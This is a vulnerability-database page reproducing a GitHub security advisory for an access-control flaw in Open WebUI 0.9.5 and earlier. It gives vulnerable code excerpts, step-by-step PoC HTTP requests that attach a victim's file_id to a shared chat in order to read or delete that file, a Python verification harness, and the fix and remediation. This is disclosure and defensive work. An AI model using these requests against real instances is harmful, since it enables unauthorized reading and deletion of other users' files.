Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
Network-reachable HTTP API, any authenticated low-priv user (PR:L), no victim interaction, high confidentiality/integrity on victim files, partial availability via deletion.
Primary rating from Vendor (https://github.com/open-webui/open-webui).
CVSS VectorVendor: https://github.com/open-webui/open-webui
Lifecycle Timeline
3DescriptionCVE.org
Summary
Open WebUI v0.9.5 lets an authenticated user attach arbitrary file_id values to their own chat message without checking whether they own or can read those files. If the attacker then shares that chat and grants themselves read access, has_access_to_file() treats the victim file as accessible through the shared chat, and the file endpoints read or delete the victim file.
Impact
Security boundary crossed: file confidentiality and integrity.
An authenticated attacker who knows or obtains a victim file_id can make Open WebUI authorize, through an attacker-owned shared chat:
- reading the victim file via
GET /api/v1/files/{id}/content, and - deleting the victim file via
DELETE /api/v1/files/{id}.
Root Cause
Client-controlled message file IDs are persisted without file authorization checks:
# backend/open_webui/main.py
await Chats.insert_chat_files(
chat_id,
user_message.get('id'),
[
file_item.get('id')
for file_item in user_message_files
if file_item.get('type') == 'file'
],
user.id,
)insert_chat_files() stores the provided IDs directly:
# backend/open_webui/models/chats.py
ChatFileModel(
user_id=user_id,
chat_id=chat_id,
message_id=message_id,
file_id=file_id,
)Later, file authorization trusts shared-chat associations:
# backend/open_webui/utils/access_control/files.py
shared_chat_ids = await Chats.get_shared_chat_ids_by_file_id(file_id, db=db)
if shared_chat_ids:
accessible_ids = await AccessGrants.get_accessible_resource_ids(
user_id=user.id,
resource_type='shared_chat',
resource_ids=shared_chat_ids,
permission='read',
)
if accessible_ids:
return TrueThe download endpoint uses this helper:
# backend/open_webui/routers/files.py
if file.user_id == user.id or user.role == 'admin' or await has_access_to_file(id, 'read', user, db=db):
return FileResponse(file_path, ...)On affected versions this shared-chat branch is not gated on access_type (the grant lookup hardcodes permission='read', but nothing checks that the request itself is a read). The same forged association therefore also satisfies the write check that DELETE /api/v1/files/{id} performs, so the attacker can delete the victim file, not only read it.
Because the shared-chat branch ignores access_type, the deletion does not require the forged association at all. A user granted only read access to a chat that the owner legitimately shared can delete the owner's own files attached to that chat via DELETE /api/v1/files/{id}, since the read grant satisfies the write check. The forged association (above) broadens this to any victim file_id; a legitimate read-only share reaches it without any forgery.
PoC
- Attacker creates or uses a chat they own.
- Attacker sends
POST /api/chat/completionsorPOST /api/v1/chat/completionswhere top-leveluser_message.filescontains:
[
{
"type": "file",
"id": "VICTIM_FILE_ID"
}
]- Backend inserts a
chat_filerow linking the attacker chat toVICTIM_FILE_ID. - Attacker shares the chat and grants read access to themselves or public access.
- Attacker requests:
GET /api/v1/files/VICTIM_FILE_ID/contentExpected: 404/403 because the attacker does not own or otherwise have access to the victim file.
Actual: file authorization succeeds through the attacker-controlled shared-chat association.
Local Verification
I verified the bug locally with Open WebUI's real Chats.insert_chat_files() and real has_access_to_file() implementations. The harness uses fake DB adapters only to avoid this environment's async SQLite hang; the security-sensitive logic under test is the application code.
Result:
{
"before_chat_file_link_attacker_can_read": false,
"insert_sink": {
"db_commit_called": true,
"insert_returned_rows": true,
"stored_chat_ids": [
"attacker-chat"
],
"stored_file_ids": [
"victim-file"
],
"stored_user_ids": [
"attacker"
]
},
"after_attacker_shared_chat_links_victim_file_attacker_can_read": true,
"confirmed": true
}PoC:
#!/usr/bin/env python3
"""
Verifier for chat-file link authorization bypass.
This intentionally avoids the app DB because the local Python 3.13 async SQLite
stack hangs in this checkout. It still executes Open WebUI's real
has_access_to_file() implementation, with fake model adapters standing in for
the DB tables.
"""
from __future__ import annotations
import asyncio
import json
import os
import sys
import types
from pathlib import Path
from types import SimpleNamespace
def prepare_imports() -> None:
repo_root = Path(__file__).resolve().parents[1]
sys.path.insert(0, str(repo_root / "backend"))
os.environ["VECTOR_DB"] = "none"
class DummyTyper:
def command(self, *args, **kwargs):
return lambda fn: fn
sys.modules.setdefault(
"typer",
types.SimpleNamespace(
Typer=lambda *args, **kwargs: DummyTyper(),
Option=lambda *args, **kwargs: None,
echo=lambda *args, **kwargs: None,
Exit=Exception,
),
)
sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda *args, **kwargs: None))
class FakeFiles:
async def get_file_by_id(self, file_id, db=None):
if file_id == "victim-file":
return SimpleNamespace(
id="victim-file",
user_id="victim",
meta={},
)
return None
class FakeKnowledges:
async def get_knowledges_by_file_id(self, file_id, db=None):
return []
class FakeGroups:
async def get_groups_by_member_id(self, user_id, db=None):
return []
class FakeChannels:
async def get_channels_by_file_id_and_user_id(self, file_id, user_id, db=None):
return []
class FakeModels:
async def get_models_by_user_id(self, user_id, permission="read", db=None):
return []
class FakeChats:
def __init__(self, linked: bool):
self.linked = linked
async def get_shared_chat_ids_by_file_id(self, file_id, db=None):
if self.linked and file_id == "victim-file":
# This mirrors a chat_file row tying victim-file to the attacker's
# shared chat. The real insertion sink is Chats.insert_chat_files().
return ["attacker-chat"]
return []
class FakeAccessGrants:
def __init__(self, granted: bool):
self.granted = granted
async def has_access(self, *args, **kwargs):
return False
async def get_accessible_resource_ids(
self,
user_id,
resource_type,
resource_ids,
permission="read",
user_group_ids=None,
db=None,
):
if (
self.granted
and user_id == "attacker"
and resource_type == "shared_chat"
and "attacker-chat" in resource_ids
and permission == "read"
):
return {"attacker-chat"}
return set()
class FakeDb:
def __init__(self):
self.added = []
self.committed = False
def add_all(self, rows):
self.added.extend(rows)
async def commit(self):
self.committed = True
class FakeDbContext:
def __init__(self, db):
self.db = db
async def __aenter__(self):
return self.db
async def __aexit__(self, exc_type, exc, tb):
return False
async def verify_insert_sink_accepts_victim_file_id():
import open_webui.models.chats as chats_module
fake_db = FakeDb()
chats_table = chats_module.Chats
original_context = chats_module.get_async_db_context
original_existing = chats_table.get_chat_files_by_chat_id_and_message_id
async def fake_existing(self, chat_id, message_id, db=None):
return []
try:
chats_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)
chats_table.get_chat_files_by_chat_id_and_message_id = types.MethodType(fake_existing, chats_table)
inserted = await chats_table.insert_chat_files(
chat_id="attacker-chat",
message_id="attacker-message",
file_ids=["victim-file"],
user_id="attacker",
)
finally:
chats_module.get_async_db_context = original_context
chats_table.get_chat_files_by_chat_id_and_message_id = original_existing
return {
"insert_returned_rows": bool(inserted),
"db_commit_called": fake_db.committed,
"stored_file_ids": [getattr(row, "file_id", None) for row in fake_db.added],
"stored_chat_ids": [getattr(row, "chat_id", None) for row in fake_db.added],
"stored_user_ids": [getattr(row, "user_id", None) for row in fake_db.added],
}
async def main() -> None:
prepare_imports()
import open_webui.utils.access_control.files as file_acl
attacker = SimpleNamespace(id="attacker", role="user")
original = {
"Files": file_acl.Files,
"Knowledges": file_acl.Knowledges,
"Groups": file_acl.Groups,
"Channels": file_acl.Channels,
"Chats": file_acl.Chats,
"Models": file_acl.Models,
"AccessGrants": file_acl.AccessGrants,
}
try:
file_acl.Files = FakeFiles()
file_acl.Knowledges = FakeKnowledges()
file_acl.Groups = FakeGroups()
file_acl.Channels = FakeChannels()
file_acl.Models = FakeModels()
file_acl.Chats = FakeChats(linked=False)
file_acl.AccessGrants = FakeAccessGrants(granted=False)
before = await file_acl.has_access_to_file("victim-file", "read", attacker)
file_acl.Chats = FakeChats(linked=True)
file_acl.AccessGrants = FakeAccessGrants(granted=True)
after = await file_acl.has_access_to_file("victim-file", "read", attacker)
insert_sink = await verify_insert_sink_accepts_victim_file_id()
result = {
"victim_file_id": "victim-file",
"victim_file_owner": "victim",
"attacker_id": "attacker",
"attacker_owns_file": False,
"insert_sink": insert_sink,
"before_chat_file_link_attacker_can_read": before,
"after_attacker_shared_chat_links_victim_file_attacker_can_read": after,
"confirmed": (
before is False
and after is True
and insert_sink["insert_returned_rows"] is True
and insert_sink["stored_file_ids"] == ["victim-file"]
and insert_sink["stored_user_ids"] == ["attacker"]
),
"sink": "Chats.insert_chat_files() accepts caller-supplied file_ids without checking file ownership/read access",
}
print(json.dumps(result, indent=2, sort_keys=True))
finally:
for name, value in original.items():
setattr(file_acl, name, value)
if __name__ == "__main__":
asyncio.run(main())Recommended Fix
Before calling Chats.insert_chat_files(), filter user_message.files to files the caller owns or can read:
allowed_file_ids = []
for file_id in requested_file_ids:
file = await Files.get_file_by_id(file_id)
if file and (file.user_id == user.id or user.role == 'admin' or await has_access_to_file(file_id, 'read', user)):
allowed_file_ids.append(file_id)Also consider enforcing this inside Chats.insert_chat_files() so future call sites cannot create unauthorized chat_file associations.
Additionally, the shared-chat branch of has_access_to_file() should honour access_type, so a read grant cannot satisfy the write check used by file deletion.
Consolidation
Per Open WebUI's Report Handling policy this consolidates independent reports of the same chat-file authorization flaws into one advisory and CVE:
- Cross-user file READ via a forged
chat_fileassociation (GET /api/v1/files/{id}/content): @0xEr3n. Fixed by #25054, which gatesChats.insert_chat_files()so a caller can only link files they own or can read. - Cross-user file DELETION via the shared-chat branch ignoring
access_type(DELETE /api/v1/files/{id}): reported independently by @oxsignal (earliest filing; reached via a legitimately read-only-shared chat, no forged association needed), by @0xEr3n (via the forged association), and by @5yu4n. Fixed by #24755, which makes the shared-chat branch honouraccess_type.
Affected: <= 0.9.5. Patched: >= 0.9.6. One CVE for the consolidated advisory.
AnalysisAI
Cross-user file read and deletion in Open WebUI <=0.9.5 allows authenticated users to access or destroy other users' files by attaching arbitrary file_id values to their own chat messages and sharing the chat. The flaw stems from missing ownership checks in Chats.insert_chat_files() combined with a shared-chat authorization branch that ignores access_type, so a read grant also satisfies write/delete checks. No public exploit identified at time of analysis, though a detailed PoC is included in the GitHub Security Advisory.
Technical ContextAI
Open WebUI is a Python-based self-hosted web UI for LLMs (pkg:pip/open-webui). The root cause class is CWE-284 (Improper Access Control). Two related defects compound: backend/open_webui/main.py persists client-supplied file_id values via Chats.insert_chat_files() without verifying the caller owns or can read those files, and backend/open_webui/utils/access_control/files.py grants access whenever a file is associated with any shared chat the user can read - without checking whether the requested operation is 'read' or 'write'. Because the file router uses the same has_access_to_file() helper for both GET /api/v1/files/{id}/content and DELETE /api/v1/files/{id}, a read-only shared-chat grant satisfies the write path used for deletion.
RemediationAI
Vendor-released patch: upgrade Open WebUI to 0.9.6 or later, which incorporates PR #25054 (gating Chats.insert_chat_files() so callers can only link files they own or can read) and PR #24755 (making the shared-chat branch of has_access_to_file() honour access_type so a read grant no longer satisfies write/delete checks); see https://github.com/open-webui/open-webui/pull/25054 and https://github.com/open-webui/open-webui/pull/24755. If immediate upgrade is not possible, restrict instance registration to trusted users and disable or tightly scope the chat-sharing feature so no user can create shared chats - this blocks both the forged-association and read-only-share variants but breaks any legitimate collaboration workflows that depend on shared chats. As a more invasive temporary measure, place a reverse-proxy rule blocking DELETE on /api/v1/files/{id} for non-admin sessions to neutralize the deletion path while leaving the read path exposed; do not rely on this alone.
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Same weakness CWE-284 – Improper Access Control
View allSame technique Authentication Bypass
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External POC / Exploit Code
Leaving vuln.today
EUVD-2026-38532
GHSA-vrhc-3fr6-pc3c